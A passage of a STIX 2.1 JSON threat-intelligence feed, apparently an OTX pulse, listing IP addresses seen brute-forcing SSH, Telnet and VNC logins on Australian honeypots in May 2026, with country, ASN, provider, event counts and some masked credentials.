      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T11:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--c3e89923-48ea-40ec-a3d4-efb704a22558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.37.117.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:15:05.000Z",
      "valid_until": "2026-06-09T11:15:03.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--c92af2b7-b84b-4ced-a641-343435f2bfad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.108.110.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--30755f12-466a-4873-88ee-28935af5ca24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.74.21.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9c121c37-f690-45e4-9732-3a452992566b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.248.177.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V..",
      "id": "indicator--82bfde9f-f9c3-44a8-8067-a48faf1d1a8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.236.86.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--121a859d-8085-4f24-a11b-4929b631ba41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.148.27.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--628f8b4f-5e31-4e76-b6db-48f8ef7b135c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.46.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--7e327b68-2cb5-4d8e-9ef2-821171d99931",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.73.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--3bb27aa2-d729-46cc-b2aa-f3eddccd494a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.157.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 29582. Organisation(s): Optisprint OOD.",
      "id": "indicator--5b4e5afa-b30a-49b9-927a-da6eb7a2d8c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.233.167.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 20539. Organisation(s): Technical Centre Radio Systems Ltd..",
      "id": "indicator--4a6b9e70-76a3-45a2-8412-65a567a2bf15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.135.157.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 43641. Organisation(s): SOLLUTIUM EU Sp z.o.o..",
      "id": "indicator--70b5c8c4-09cb-4c8a-9601-22f9d3d9d399",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.42.176.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VG. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--e83a7ab4-76e6-4150-8e6c-9c78389925aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.0.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VG. ASN(s): 208949. Organisation(s): Hbing Limited.",
      "id": "indicator--0bafed1b-6a9f-4591-88e2-c1967fce09d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.88.0.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 201776. Organisation(s): Miranda-Media Ltd.",
      "id": "indicator--7764f607-6c01-49cd-8493-91fe6c992de0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.61.245.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--1a90fab1-89c0-454b-a23a-9cf6dcb8e141",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.91.16.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 24163. Organisation(s): UNION BROADBAND NETWORK.",
      "id": "indicator--745a3ff3-5935-45b7-af88-dc05133a59b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.158.200.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): G*****************1, U****************************1. Passwords observed (masked): A*******************p, H**********************3.",
      "id": "indicator--c0cf57d5-1267-41c1-97e5-6930c865ed01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.68.99.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:15:10.000Z",
      "valid_until": "2026-06-09T12:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--78c100ce-5264-44fb-b4e2-2d019b7d02ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.129.186.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--ec130e81-2a50-4b45-8d36-ac46db04c20c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.172.80.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 1******8, P******d, p******d, 0***0, 0****0.",
      "id": "indicator--eddf76f8-854f-4477-8d45-1999affd18d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.173.173.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14670. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--63eef2d1-ca3d-4e98-a9a1-eeb4f4be58c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.16.119.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269820. Organisation(s): FULL DATA COMUNICACIONES C.A..",
      "id": "indicator--674943fe-b232-4505-b44b-c84516c0f4a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.41.187.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 202805. Organisation(s): I-TEL Pawel Bak.",
      "id": "indicator--73541bc4-4cfe-455d-b7be-258bf6232260",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.241.25.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 204800. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--1d2a18d2-f3cf-401a-9f61-8923f90921b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.250.235.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--df918b86-0ccb-416b-9ff0-d9a965d32888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.20.127.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--09456bc5-0b73-4864-9e1e-cdadb3f1388e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.60.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6364. Organisation(s): Atlantic.net, Inc..",
      "id": "indicator--0fdfba4a-d85e-4457-b10b-bf43c83346e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.23.9.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 28787. Organisation(s): Aztelekom LLC.",
      "id": "indicator--d651a917-51c8-4718-856d-98c3577133d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.61.113.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T13:15:36.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 210402. Organisation(s): Hala Al Rafidain Company for Communications and Internet LTD..",
      "id": "indicator--a0df900d-a96a-499c-9d00-66030a0c3368",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:15:36.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.106.39.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:15:36.000Z",
      "valid_until": "2026-06-09T13:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--ae39f7eb-cef5-4ebd-89b1-aed04d79832b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.37.66.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9286. Organisation(s): KINX.",
      "id": "indicator--d793041e-f90a-40ea-bde5-edc84aeac47b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.78.125.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61724. Organisation(s): VICOSANET TELECOM.",
      "id": "indicator--0533063d-c4ca-48d4-ab75-5e92d091ea02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.0.9.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--9da41a2a-01d8-4563-b47f-0f2b0bde05d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.161.29.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n, p******s, u****u, ***, t**t. Passwords observed (masked): ***, t**t, !******x, 1******$, 1***5.",
      "id": "indicator--61f74065-1581-44a9-8e61-7b07b91085c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28126. Organisation(s): BRISANET SERVICOS DE TELECOMUNICACOES S.A.",
      "id": "indicator--137cfaa5-0999-4e67-a7fa-b697fc3cca6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.37.137.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T14:15:10.000Z",
      "valid_until": "2026-06-09T14:15:08.000Z"
    },
    {
      "created": "2026-05-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: MD. ASN(s): 201813. Organisation(s): Contrust Solutions S.R.L..",
      "id": "indicator--a6b14623-0c57-4e63-97d2-b23ad2532ebf",
      "labels": [
